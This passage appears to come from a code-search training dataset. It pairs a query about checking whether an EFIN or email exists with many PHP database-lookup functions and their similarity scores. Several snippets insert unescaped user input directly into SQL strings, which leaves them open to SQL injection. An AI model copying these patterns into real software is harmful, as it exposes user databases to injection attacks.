$result = mysqli_query($connection, $query);\n confirm($result);\n\n //if the user_email column name already has a value that is given by the user when registering\n if (mysqli_num_rows($result) > 0) {\n return true;\n }else{\n return false;\n }\n}", "private function emailExists($email)\n\t{\n\t\t$stmt = $this->dbh->prepare('SELECT `email` FROM `users` WHERE `email` = :email');\n\t\t$stmt->execute(array(':email' => $email));\n\n\t\tif ($stmt->rowCount() > 0) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function emailExists(string $email): bool\n {\n $query = <<< 'QUERY'\n SELECT * FROM users WHERE email=:email\n QUERY;\n\n $statement = $this->database->connection()->prepare($query);\n $statement->bindParam('email', $email, PDO::PARAM_STR);\n\n $statement->execute();\n $res = $statement->fetch();\n\n if ($res != false) return true;\n\n $query = <<< 'QUERY'\n SELECT * FROM usersPending WHERE email=:email\n QUERY;\n\n $statement = $this->database->connection()->prepare($query);\n $statement->bindParam('email', $email, PDO::PARAM_STR);\n\n $statement->execute();\n $res = $statement->fetch();\n return $res != false;\n }", "public function emailExists($email) {\n\n return $this->getEntityManager()\n ->getRepository('Alt68\\Entities\\User')\n ->findOneBy(array('email' => $email));\n }", "function email_exists($email = '', $userid = '')\n\t{\n\t\t$this->db->select('user_email');\n\t\tif($userid != '')\n\t\t{\n\t\t$this->db->where('user_id != ', $userid);\n\t\t}\n\t\t$this->db->where('user_email', $email);\n\t\t$this->db->from('ci_users');\n\t\t$query = $this->db->get();\n\t\tif($query->num_rows() > 0) \n\t\treturn true;\n\t\telse\n\t\treturn false;\n\t}", "private function isUserExists($email)\n {\n $stmt = $this->conn->prepare(\"SELECT id FROM users WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "public static function existeEmail($email){\n $db = DWESBaseDatos::obtenerInstancia();\n\n $db -> ejecuta(\"SELECT count(*) as cantidad\n FROM usuario WHERE email = ?\", $email);\n $datos= $db->obtenDatos();\n if ($datos[0]['cantidad'] > 0) {\n //echo 'true' .' es verdad';\n return true;\n }else{\n //echo 'false' .' no existe';\n return false;\n }\n\n }" ]
[ "0.75763184", "0.74483395", "0.7382892", "0.73724854", "0.73680615", "0.7355228", "0.7329246", "0.73140424", "0.7308301", "0.73018205", "0.729145", "0.7284861", "0.72682244", "0.72655874", "0.7261508", "0.7249664", "0.7246575", "0.7244944", "0.72346187", "0.7229479", "0.7210758", "0.7182531", "0.7163707", "0.7156866", "0.71484995", "0.7132461", "0.71252286", "0.71171784", "0.7107189", "0.71015245", "0.70925945", "0.70906156", "0.70873547", "0.70824707", "0.70775706", "0.70671976", "0.7065145", "0.7052373", "0.7036917", "0.70341086", "0.7023769", "0.70204496", "0.7013461", "0.70112795", "0.7011238", "0.7010252", "0.7008904", "0.70008993", "0.6999433", "0.6998373", "0.6992179", "0.6977621", "0.69697803", "0.696827", "0.69650704", "0.6954797", "0.6951943", "0.69453645", "0.6938191", "0.69359875", "0.6934957", "0.6917591", "0.6903807", "0.68909687", "0.6889123", "0.6887246", "0.6885377", "0.6880881", "0.68773127", "0.6877084", "0.68768716", "0.6866023", "0.6863421", "0.68584025", "0.68451864", "0.6835815", "0.6833115", "0.68313", "0.6828465", "0.68274623", "0.6824257", "0.68113405", "0.6808775", "0.680821", "0.68035483", "0.6793444", "0.6788144", "0.67865026", "0.67864233", "0.6783018", "0.6769701", "0.6769391", "0.676632", "0.67656773", "0.6747149", "0.67367345", "0.6733924", "0.67330974", "0.672892", "0.6725764" ]
0.6756026
94
Check if an EFIN exists in the leads table by email
function EFINExists($ssefin) { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id FROM " . $db_table_prefix . "franchise WHERE ssefin = ? LIMIT 1"); $stmt->bind_param("s", $ssefin); $stmt->execute(); $stmt->store_result(); $num_returns = $stmt->num_rows; $stmt->close(); if ($num_returns > 0) { return true; } else { return false; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function check_existing_email($email){\n $sql = \"SELECT * from mbf_user WHERE email='$email'\";\n $query = $query = $this->db->query($sql);\n if ($query->num_rows() > 0){\n return true;\n }else{\n return false;\n }\n }", "function search_by_email($tableName,$email) // searching employee by email\r\n {\r\n $conn = self::build_connection();\r\n $sql = \"select * from \".$tableName .\" WHERE email='{$email}'\";\r\n $result = $conn->query($sql);\r\n self::close_connection($conn);\r\n if($result->num_rows > 0){ //if value >0 true\r\n return true;\r\n }\r\n else{\r\n return false;\r\n }\r\n }", "function isEmailPresent($email = NULL){\t\t\t\n\t\t$query = \" SELECT id\";\n\t\t$query .= \" FROM \" . $this->config->item('ems_organisers','dbtables');\n\t\t$query .= \" WHERE email = ? \";\t\t\n\t\t$dataBindArr = array($email);\n\t\t$res = $this->db->query($query, $dataBindArr);\n\t\t$resArr = $res->result();\t\t\n\t\treturn count($resArr);\n\t}", "public function checkIfEmailExists($email);", "function existEmail($email, $includeBlocked = FALSE) {\n if (trim($email) != '') {\n $sql = \"SELECT count(*)\n FROM %s\n WHERE surfer_email = '%s'\";\n $blockedClause = ($includeBlocked === FALSE) ? ' AND surfer_valid != 4' : '';\n $params = array($this->tableSurfer, $email, $blockedClause);\n if ($res = $this->databaseQueryFmtWrite($sql, $params)) {\n if ($row = $res->fetchRow()) {\n return ((bool)$row[0] > 0);\n }\n }\n }\n return FALSE;\n }", "function existsByEmail( $email, $oid=null);", "private function check_If_Email_Exists($email){\r\n\r\n // Prepare query\r\n $query = \"SELECT * FROM `users` WHERE (Fuid = '' AND Guid = '' AND email = '{$email}')\";\r\n\r\n // Send query into server\r\n $this->_db->get_Rows($query);\r\n\r\n // Return result of query\r\n // True - if find\r\n // False - in dont\r\n return ($this->_db->count() > 0 ) ? true : false;\r\n }", "function check_if_email_is_in_use($email){\n\n $query = $this->db->get_where('tbl_doctor_account', array('dacc_email' => $email));\n return $query->num_rows();\n\n }", "function email_exists($email)\n {\n global $connection;\n $query = \"select user_email from users where user_email = '{$email}'\";\n $result = mysqli_query($connection, $query);\n confirmQuery($result);\n if(mysqli_num_rows($result) > 0)\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "function email_exists($email)\n {\n $sql = \"\n SELECT id\n FROM {$this->_db}\n WHERE email = \" . $this->db->escape($email) . \"\n LIMIT 1\n \";\n\n $query = $this->db->query($sql);\n\n if ($query->num_rows())\n {\n return TRUE;\n }\n\n return FALSE;\n }", "public function isEmailExist($email){ \n $query = mysqli_query($this->database, \"SELECT * FROM users WHERE Gmail = '$email'\"); \n $row = mysqli_num_rows($query); \n if($row > 0){ \n return true; \n } else { \n return false; \n } \n }", "function email_existe($email){\n\t$sql = \"SELECT id FROM usuarios WHERE email = '$email'\";\n\n\t$resultado = query($sql);\n\n\tif(contar_filas($resultado) == 1){\n\n\t\treturn true;\n\t} else{\n\t\treturn false;\n\t}\n\n}", "function emailExist($dbx, string $targetEmail){\n // debug($dbx->count(\"SELECT * FROM user WHERE email = ?\",[$targetEmail]));\n return $dbx->count(\"SELECT * FROM user WHERE email = ?\",[$targetEmail]);\n}", "function emailExists($email) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT email FROM users WHERE email = ?\",array($email));\n\t$num_returns = $query->count();\n\tif ($num_returns > 0){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "function email_exists($email){\n\t\t$emailexistsql = \"SELECT email FROM users WHERE email = :email\";\n\n\t\t$stmt = $database->prepare();\n\n\t\t$stmt->bindParam(':email', $email);\n\n\t\t$stmt->execute();\n\n\t\tif ($stmt->rowCount() > 0){\n\t\t\techo(\"Email Exists\");\n\t\t\treturn true;\n\t\t}\n\t}", "function check_email_exists($email)\n\t{\n\n\t\tglobal $Oau_auth;\n\t\t$email = sanitize($email);\n\n\t\t$query = \"SELECT `student_Idn` FROM `student` WHERE `email` = '$email'\";\n\t\t$run_query = mysqli_query($Oau_auth, $query);\n\n\t\tif(mysqli_num_rows($run_query) > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t}", "function email_exists($db, $email)\n{\n\t$sql = 'SELECT * FROM users where email=:email';\n\t$st = $db->prepare($sql);\n\t$st->execute(array(':email'=>$email));\n\t$us = $st->fetchAll();\n\treturn (count($us) >= 1);\n}", "function emailExists($email){\r\n $sql = \"SELECT email FROM users WHERE email = '$email'\";\r\n $count = $this->q($sql)->num_rows;\r\n if ($count > 0 ){ return true; } else{ return false; }\r\n }", "public function exists($emailAddress);", "public function existEmail($email)\n\t{\n\t\treturn $this->assistant_model->existEmail($email);\n\t}", "public function emailExiste($email){\n\t\t$query = \"SELECT * FROM `funcionarios` WHERE email = $email\";\n\t\t$con = conn();\n\t\t$row = mysqli_query($con,$query);\t\t\n\t\tmysqli_close($con);\n\t\t\n\t\tif(mysqli_num_rows($row) > 0){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "function isExistingEmail($email)\n\t{\n\t\t$this->db->from($this->account);\n\t\t$this->db->where('email',$email);\n\t\t$query = $this->db->get();\n\n\t\t$result = $query->result();\n\n\t\tif(!empty($result)){\n\t\t\treturn TRUE;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function emailExists($email){\n $query = $this->conn->query(\"SELECT id FROM user WHERE email = '$email'\");\n $result = $query->fetchAll(PDO::FETCH_ASSOC);\n if($result){\n return true;\n }\n }", "public static function existeEmail($email){\n $db = DWESBaseDatos::obtenerInstancia();\n\n $db -> ejecuta(\"SELECT count(*) as cantidad\n FROM usuario WHERE email = ?\", $email);\n $datos= $db->obtenDatos();\n if ($datos[0]['cantidad'] > 0) {\n //echo 'true' .' es verdad';\n return true;\n }else{\n //echo 'false' .' no existe';\n return false;\n }\n\n }", "public function isEmailExist() {\n $query = $this->conn->prepare(\"SELECT * FROM subscribers WHERE email = :email\");\n $query->execute([\"email\" => $this->email]);\n $res = $query->fetch(PDO::FETCH_OBJ);\n return $res ? true : false;\n }", "function email_exists($email)\n {\n // 1. Connect to the database.\n $link = connect();\n\n // 2. Protect variables to avoid any SQL injection\n $email = mysqli_real_escape_string($link, $email);\n\n // 3. Generate a query and return the result.\n $result = mysqli_query($link, \"\n SELECT id\n FROM tbl_users\n WHERE email = '{$email}'\n \");\n\n // 4. Disconnect from the database.\n disconnect($link);\n\n // 5. There should only be one row, or FALSE if nothing.\n return mysqli_num_rows($result) >= 1;\n }", "function email_exist($link, $email){\n\n $exist = false;\n\n $sql = \"SELECT email FROM users WHERE email = '$email'\";\n $result = mysqli_query($link, $sql);\n\n if( $result && mysqli_num_rows($result) == 1 ){\n\n $exist = true;\n\n }\n\n return $exist;\n\n }", "function DB_email_existing_check($email){\n $connection = DB_get_connection();\n $queryCheck = \"SELECT * FROM `users` WHERE Email='$email'\";\n $result = mysqli_query($connection, $queryCheck);\n if(mysqli_num_rows($result) > 0){\n \n return true;\n \n }else{\n\n return false;\n\n }\n\n}", "public function exist_email()\r\n {\r\n $email = $this->input->post('email');\r\n \r\n $this->load->model('frontend/user_model');\r\n \r\n $record = $this->user_model->select('COUNT(id) as total')->find_by(array('email' => $email));\r\n \r\n if ($record->total == 0)\r\n echo false;\r\n else\r\n echo true; \r\n }", "public function email_exists() {\n\t\t\n\t\t$email = $this->input->post('users_email');\n\t\t$edit_id = $this->input->post ( 'edit_id' );\n\t\t$where = array (\n\t\t\t'users_email' => trim ( $email )\n\t\t);\n\n\t\tif ($edit_id != \"\") {\n\n\t\t\t$where = array_merge ( $where, array (\n\t\t\t\t\t\"users_id !=\" => $edit_id \n\t\t\t) );\n\t\n\t\t} \n\n\t\t$result = $this->Mydb->get_record( 'users_id', $this->table, $where );\n\t\t\n\t\tif ( !empty ( $result ) ) {\n\t\t\t$this->form_validation->set_message ( 'email_exists', get_label ( 'user_email_exist' ) );\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "function emailExists($email)\n\t{\n\t\tglobal $db,$db_table_prefix;\n\t\n\t\t$sql = \"SELECT Active FROM \".$db_table_prefix.\"Users\n\t\t\t\tWHERE\n\t\t\t\tEmail = '\".$db->sql_escape(sanitize($email)).\"'\n\t\t\t\tLIMIT 1\";\n\t\n\t\tif(returns_result($sql) > 0)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\t\n\t}", "function checkMAIL($account, $email)\n {\n while ($users = $account->fetch()) {\n if ($users['email'] == $email) {\n return true;\n }\n }\n return false;\n }", "function email_exist($email)\n {\n $this->db->select(EMAIL_ID);\n $this->db->from(TBL_USERS);\n $this->db->where(EMAIL_ID, $email);\n $query = $this->db->get();\n if ($query->num_rows() == 1) {\n return $query->row();\n } else {\n return false;\n }\n }", "function emailExists($f): bool\n {\n $exists = false;\n if(!empty($this->load(array('email=?',$f->get('POST.login_email'))))){\n $exists = true;\n }\n return $exists;\n }", "function isUserExistsByEmail($email) {\n $query = \"select * from user_profile_details WHERE email='{$email}' \";\n $result_set = mysql_query($query);\n if(isQuerySuccess($result_set)){\n\t\tif (mysql_num_rows($result_set) > 0) { \n\t\t\treturn true;\n\t\t} else { \n\t\t\treturn false;\n\t\t}\t\n\t}\t\n}", "function email_exists($email){\n $sql = \"SELECT id FROM users WHERE email='$email'\";\n $result = query($sql);\n\n if(row_count($result)==1){\n return true;\n }else{\n return false;\n }\n}", "public function check_email_existence() {\n\t\t$email = $_GET['email'];\n\t\t$checkExistEmail = $this->User->find('count', array('conditions'=>array('User.email' => $email)));\n\t\techo $checkExistEmail;\n\t\texit();\n\t}", "public function hasByEmail(Email $email): bool\n {\n }", "function fb_email_exist($email)\n {\n $this->db->select('userID,emailID');\n $this->db->from(TBL_USERS);\n $this->db->where(EMAIL_ID, $email);\n $query = $this->db->get();\n if ($query->num_rows() == 1) {\n $result = $query->result();\n return $result[0];\n } else {\n return false;\n }\n }", "function admin_email_exists($email){\n include 'connection.php';\n $query = \"SELECT email FROM admin_users WHERE email = '$email'\";\n $result = $connection->query($query);\n $rows = $result->num_rows;\n for($i=0; $i<$rows; $i++){\n $result->data_seek($i);\n $row = $result->fetch_array(MYSQLI_ASSOC);\n if($row['email'] == $email){\n return true;\n }\n else return false;\n }\n}", "public function _check_email_exists($email = ''){\n\t\t\n\t}", "private function isStaffExists($email) {\n $stmt = $this->conn->prepare(\"SELECT staff_id from staff WHERE email = ?\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_rows = $stmt->num_rows;\n $stmt->close();\n return $num_rows > 0;\n }", "static function email_available($email) {\n global $con;\n $sql = \"SELECT COUNT(`id`) AS 'count' FROM `user` WHERE `email` LIKE '\".$email.\"';\";\n $query = mysqli_query($con, $sql);\n $count = mysqli_fetch_object($query)->count;\n if ($count == 0) {\n return TRUE;\n } else {\n return FALSE;\n }\n }", "function admin_check_email_exists($email)\n\t{\n\n\t\tglobal $Oau_auth;\n\t\t$email = sanitize($email);\n\n\t\t$query = \"SELECT `admin_Idn` FROM `administrator` WHERE `email` = '$email'\";\n\t\t$run_query = mysqli_query($Oau_auth, $query);\n\n\t\tif(mysqli_num_rows($run_query) > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t}", "public function exists($email) {\n $sql =<<<SQL\nSELECT * from $this->tableName\nwhere email=?\nSQL;\n $pdo = $this->pdo();\n $statement = $pdo->prepare($sql);\n $statement->execute(array($email));\n if($statement->rowCount() != 0) {\n return true;\n }\n return false;\n }", "public function isEmailExist($email){\n\n $stmt = $this->con->prepare(\"SELECT uid FROM users WHERE email = ?\");\n $stmt->bind_param(\"s\",$email);\n $stmt->execute();\n $stmt->store_result();\n return $stmt->num_rows > 0;\n\n }", "function isEmailInList($email) {\n\t\tglobal $polarbear_db;\n\t\t$emailSafe = $polarbear_db->escape($email);\n\t\t$sql = \"SELECT count(id) AS antal FROM \" . POLARBEAR_DB_PREFIX . \"_emaillist_emails WHERE listID = '{$this->id}' AND email = '$emailSafe'\";\n\t\tglobal $polarbear_db;\n\t\t$antal = $polarbear_db->get_var($sql);\n\t\treturn (bool) $antal;\n\t}", "public function emailExists($email)\n {\n $e = \"'\".$email.\"'\";\n $qb = new QB;\n $qb->conn = static::getDB();\n $results = $qb->select('users', 'email')\n ->where('email', '=', $e)\n ->all();\n if(count($results) > 0){\n $this->errors[] = \"Sorry! This email has already been taken.\";\n }\n }", "public function checkIsExistEmail($email = null)\n {\n $results = $this->Fortunes\n ->find()\n ->where(['mail_address =' => $email])\n ->toArray();\n if(isset($results)) return true;\n return false;\n }", "function MailExists($email) {\n\n\t$query = \"SELECT email FROM usuarios WHERE email = '$email'\";\n\t$result = DBExecute($query);\n\n\tif (mysqli_num_rows($result) <= 0)\n\t\treturn true;\n\telse\n\t\treturn false;\n}", "function email_exists($email){\n include 'connection.php';\n $query = \"SELECT email FROM basicusers WHERE email = '$email'\";\n $result = $connection->query($query);\n $rows = $result->num_rows;\n for($i=0; $i<$rows; $i++){\n $result->data_seek($i);\n $row = $result->fetch_array(MYSQLI_ASSOC);\n if($row['email'] == $email){\n return true;\n }\n else return false;\n }\n}", "function email_exist($email) {\n\n $sql = \"SELECT id FROM users WHERE email = '$email'\";\n\n $result = query($sql);\n \n if(row_count($result) == 1) {\n return true;\n } else {\n return false;\n }\n}", "function checkEmail($email){\n\n\t\t\t$query = \"SELECT Email FROM tbl_userinfo WHERE Email=$email LIMIT 1\";\n\t\t\t\n\t\t\t$result = $this->conn->query($query); \n\n\t\t\tif (var_dump($result) > 0){\n\t\t\t\treturn true;\n\n\t\t\t}else{\n\t\t\t\treturn false;\n\n\t\t\t}\n\n\t\t}", "public function emailExists($email)\n {\n $conn = Db::getInstance();\n $statement = $conn->prepare(\"select * from users where email = :email\");\n $statement->bindParam(\":email\", $email);\n $statement->execute();\n $count = $statement->rowCount();\n if ($count > 0) {\n return true;\n }\n else {\n return false;\n }\n }", "function email_exists($email,$id='')\n {\n $this->db->where('email', $email);\n if(!empty($id)){\n $this->db->where('id !=', $id);\n }\n $query = $this->db->get('users');\n if( $query->num_rows() > 0 ){ return True; } else { return False; }\n }", "function isUserExisted($email) {\n $result = mysql_query(\"SELECT email from users WHERE email = '$email'\",$first);\n $no_of_rows = mysql_num_rows($result);\n if ($no_of_rows > 0) {\n // user existed \n return true;\n } else {\n // user not existed\n return false;\n }\n }", "private function emailExists( $email ) {\n global $wpdb;\n $query = \"select author_email from \" . $wpdb->prefix . \"roni_images where author_name='\" . $email . \"';\";\n if( empty($wpdb->query( $query ) ) ) {\n return true;\n } else {\n return false;\n }\n }", "public function isUserEmilExisted($email) {\n $result = mysql_query(\"SELECT * from users WHERE email = '$email'\");\n $no_of_rows = mysql_num_rows($result);\n if ($no_of_rows > 0) {\n // user email existed \n return true;\n } else {\n // user email not existed\n return false;\n }\n }", "public function emailExists ($email){\n $con = connectPDO();\n $query = $con->prepare(\"SELECT COUNT(id) FROM users WHERE email = ?\");\n $query->execute(array($email));\n $rowcount = $query->fetchColumn();\n if ($rowcount > 0) {\n return true;\n }else{\n return false;\n }\n }", "public function exists($email, $token);", "function email_exists($email) {\n $email = sanitize($email);\n $query = mysql_query(\"SELECT COUNT(`user_id`) FROM `users` WHERE `email` = '$email'\");\n return (mysql_result($query, 0) == 1) ? true : false;\n}", "function leadExists($email) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"leads\n\t\tWHERE\n\t\temail = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public static function email_exists($email) {\n $connection = DatabaseConnection::connection();\n $sql = \"SELECT user_id FROM users WHERE email=:email\";\n $statement = $connection->prepare($sql);\n $statement->execute(['email' => $email]);\n $count = count($statement->fetchAll());\n if($count == 1)\n return TRUE;\n else\n return FALSE;\n }", "public function accountExists($email) {\r\n $this->db = new Db();\r\n \r\n $this->db->scrub($email);\r\n $query = \"SELECT UID FROM MEMBER WHERE EMAIL = '\".$email.\"'\";\r\n $results = $this->db->select($query);\r\n return(sizeof($results)>0);\r\n }", "function doesEmailExist($email) {\n global $db;\n\n $query = \"SELECT * FROM user WHERE email=:email\";\n $statement = $db->prepare($query);\n $statement->bindValue(':email', $email); \n $statement->execute();\n $results = $statement->fetchAll();\n $statement->closeCursor();\n return (count($results) > 0);\n}", "public function check_email_if_exist($email = \"\"){\r\n $query = $this->db->get_where('view_customer_info', array('email' => $email,'is_finish_registration'=>\"1\"));\r\n return $query->row_array();\r\n }", "public function isUserExisted($email) {\r\n $result = mysqli_query($this->con,\"SELECT email from users WHERE email = '$email'\");\r\n $no_of_rows = mysqli_num_rows($result);\r\n if ($no_of_rows > 0) {\r\n // user existed \r\n return true;\r\n } else {\r\n // user not existed\r\n return false;\r\n }\r\n }", "function emailExists($email) {\n return valueExists('users', 'email', $email);\n}", "function check_email_exist($emailCheck) {\n\t\t\t$DBConnect = @mysqli_connect(\"feenix-mariadb.swin.edu.au\", \"s101664795\",\"250394\", \"s101664795_db\")\n\t\t\tOr die (\"<p>Unable to connect to the database server.</p>\". \"<p>Error code \". mysqli_connect_errno().\": \". mysqli_connect_error()). \"</p>\";\n\t\t\t\n\t\t\t$SQLstring = \" SELECT email_address FROM customer WHERE email_address = '\".$emailCheck.\"' \";\n\t\t\t\n\t\t\t$queryResult = @mysqli_query($DBConnect, $SQLstring)\n\t\t\tOr die (\"<p>Unable to query the customer table.</p>\".\"<p>Error code \". mysqli_errno($DBConnect). \": \".mysqli_error($DBConnect)). \"</p>\";\n\n\t\t\t// if number of rows > 0, customer exists\n\t\t\tif (mysqli_num_rows($queryResult)>0) {\n\t\t\t\t// $row = mysqli_num_rows($queryResult);\n\t\t\t\t// clost the result\n\t\t\t\tmysqli_free_result($queryResult);\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\t// customer not exist\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// Connection close\n\t\t\tmysqli_close($DBConnect);\n\t\t}", "public function emailExists($email) {\n\n\t $app = getApp();\n\n\t $sql = 'SELECT ' . $app->getConfig('security_email_property') . ' FROM ' . $this->table .\n\t ' WHERE ' . $app->getConfig('security_email_property') . ' = :email LIMIT 1';\n\n\t $dbh = ConnectionModel::getDbh();\n\t $sth = $dbh->prepare($sql);\n\t $sth->bindValue(':email', $email);\n\n\t if($sth->execute()) {\n\t $foundUser = $sth->fetch();\n\t if($foundUser){\n\t return true;\n\t }\n\t }\n\t return false;\n\t}", "private function emailExists($email)\n {\n $query = \"SELECT manager_password,manager_name,is_accepted,admin_id\n FROM \" . $this->table . \"\n WHERE manager_email = ?\n LIMIT 0,1\";\n\n // prepare the query\n $stmt = $this->conn->prepare($query);\n $this->manager_email = $email;\n $this->manager_email = htmlspecialchars(strip_tags($this->manager_email));\n // bind value\n $stmt->bindParam(1, $this->manager_email);\n // execute the query\n $stmt->execute();\n // get number of rows\n $num = $stmt->rowCount();\n if ($num > 0) {\n //set password\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n $this->manager_password = $row['manager_password'];\n $this->manager_name = $row['manager_name'];\n $this->is_accepted = $row['is_accepted'];\n // return true because email exists in the database\n\n return true;\n }\n // return false if email does not exist in the database\n return false;\n }", "Public Function emailExists($Email)\n\t{\n\t\t$Result = $this->_db->fetchRow('SELECT * FROM bevomedia_user WHERE email = ?', $Email);\n\t\tif(sizeOf($Result) == 0 || !$Result)\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n\t}", "function franchiseExists($email) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"franchise\n\t\tWHERE\n\t\temail = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $email);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public function emailExists( $email )\n\t{\n\t\t// database connection and sql query\n $core = Core::dbOpen();\n $sql = \"SELECT userID FROM user WHERE email = :email\";\n $stmt = $core->dbh->prepare($sql);\n $stmt->bindParam(':email', $email);\n Core::dbClose();\n \n try\n {\n if( $stmt->execute()) \n\t\t\t{\n $row = $stmt->fetch();\n if( $stmt->rowCount() > 0 ) {\t\t\t\t\n \treturn true;\n\t\t\t\t}\n }\n } catch ( PDOException $e ) {\n echo \"Search for email failed!\";\n }\n\t\t\n\t\treturn false;\n\t}", "function checkExistingEmail($clientEmail){\n $db = acmeConnect();\n $sql = 'SELECT clientEmail FROM clients WHERE clientEmail = :email';\n $stmt = $db->prepare($sql);\n $stmt->bindValue(':email', $clientEmail, PDO::PARAM_STR);\n $stmt->execute();\n $matchEmail = $stmt->fetch(PDO::FETCH_NUM);\n $stmt->closeCursor();\n if(empty($matchEmail)){\n return 0;\n } else {\n return 1;\n }\n}", "function emailExist($link, $useremail) {\n\t\t// use escape function to avoid sql injection attacks\n\t\t$email = mysqli_real_escape_string($link, $_POST[$useremail]);\n\t\t$query = \"SELECT `email` FROM users WHERE email='\".$email.\"'\";\n\n\t\t$result = mysqli_query($link, $query);\n\t\treturn mysqli_num_rows($result);\n\t}", "public function checkEmailExisting($email)\r\n\t{\r\n\t\t\r\n\t\t$query=mysql_query(\"SELECT 1 FROM tbl_users WHERE email='$email' and oauth_provider='DReview'\") or die(mysql_error());\r\n\t\t$emailCount = mysql_fetch_row($query);\r\n\t\r\n if ($emailCount >= 1)\r\n \treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\r\n\t}", "public function emailExist($email)\n {\n $sql = \" SELECT `email` FROM customer WHERE `customer_email` = '$email'\";\n\n return $this->db_query($sql);\n\n }", "function emailExists(){\n\t\t\t\t \n\t\t\t\t // query to check if email exists\n\t\t\t\t $query = \"SELECT rep_id, rep_name, rep_surname, rep_pwd, rep_email\n\t\t\t\t FROM \" . $this->table . \"\n\t\t\t\t WHERE rep_email = :rep_email\n\t\t\t\t LIMIT 0,1\";\n\t\t\t\t \n\t\t\t\t // prepare the query\n\t\t\t\t $stmt = $this->conn->prepare($query);\n\t\t\t\t \n\t\t\t\t // sanitize\n\t\t\t\t $this->rep_email=htmlspecialchars(strip_tags($this->rep_email));\n\t\t\t\t \n\t\t\t\t // bind given email value\n\t\t\t\t $stmt->bindParam(':rep_email', $this->rep_email);\n\t\t\t\t \n\t\t\t\t // execute the query\n\t\t\t\t $stmt->execute();\n\t\t\t\t \n\t\t\t\t // get number of rows\n\t\t\t\t $num = $stmt->rowCount();\n\t\t\t\t \n\t\t\t\t // if email exists, assign values to object properties for easy access and use for php sessions\n\t\t\t\t if($num>0){\n\t\t\t\t \n\t\t\t\t // get record details / values\n\t\t\t\t $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t\t\t \n\t\t\t\t // assign values to object properties\n\t\t\t\t $this->rep_id = $row['rep_id'];\n\t\t\t\t $this->rep_name = $row['rep_name'];\n\t\t\t\t $this->rep_surname = $row['rep_surname'];\n\t\t\t\t $this->rep_pwd = $row['rep_pwd'];\n\t\t\t\t $this->rep_email = $row['rep_email'];\n\t\t\t\t \n\t\t\t\t // return true because email exists in the database\n\t\t\t\t return true;\n\t\t\t\t }\n\t\t\t\t \n\t\t\t\t // return false if email does not exist in the database\n\t\t\t\t return false;\n\t\t\t\t}", "public function check_email_exist($email)\n\t{\n\t\t$query = $this->db->get_where('users', array('email' => $email));\n\t\tif($query->num_rows() > 0) \n { \n return true; \n } \n else \n { \n return false; \n } \n\t}", "public function select_email_exist($email)\n {\n $query = new Query;\n $count = $query->select('COUNT(*) as count')->from('core_users')->where(\"email = '$email'\")->All();\n if($count[0]['count']>0)\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "public function emailExists($email='') {\n\t\t$checkEmail = check($email) ? $email : $this->_email;\n\t\tif(!check($checkEmail)) return;\n\t\t$result = $this->db->queryFetchSingle(\"SELECT \"._CLMN_EMAIL_.\" FROM \"._TBL_MI_.\" WHERE \"._CLMN_EMAIL_.\" = ?\", array($checkEmail));\n\t\tif(!is_array($result)) return;\n\t\treturn true;\n\t}", "function chk_email($email)\n\t{\n\t\t$str = \"Select u_email from tbl_user where u_email = ?\";\n\t\t\n\t\t//Executes the query\n\t\t$res = $this -> db -> query($str, $email);\n\t\t\n\t\t//Checks whether the result is available in the table\n\t\tif($res -> num_rows() > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "public function getExistingEmail($email)\n {\n $query = \"SELECT identifier FROM \".$this->_name.\" WHERE email = '\".$email.\"'\";\n if(($result = $this->getQuery($query,false)) != NULL)\n {\n return \"yes\";\n }\n else\n return \"no\";\n }", "private function emailInUse( $email, $id )\n\t{\n\t\t$stmt = $this->connection->prepare('SELECT id FROM ' . Configure::get('database/prefix') . 'accounts WHERE email_hash = :email LIMIT 1');\n\t\t$stmt->bindValue(':email', $email, PDO::PARAM_STR);\n\t\t$stmt->execute();\n\t\t$data = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t$stmt->closeCursor();\n\n\t\tif( !empty($data) && $data['id'] != $id )\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "public function isUserExisted($email) {\n $stm = $this->db->prepare(\"SELECT email FROM users WHERE email=?\");\n $stm->execute(array($email));\n 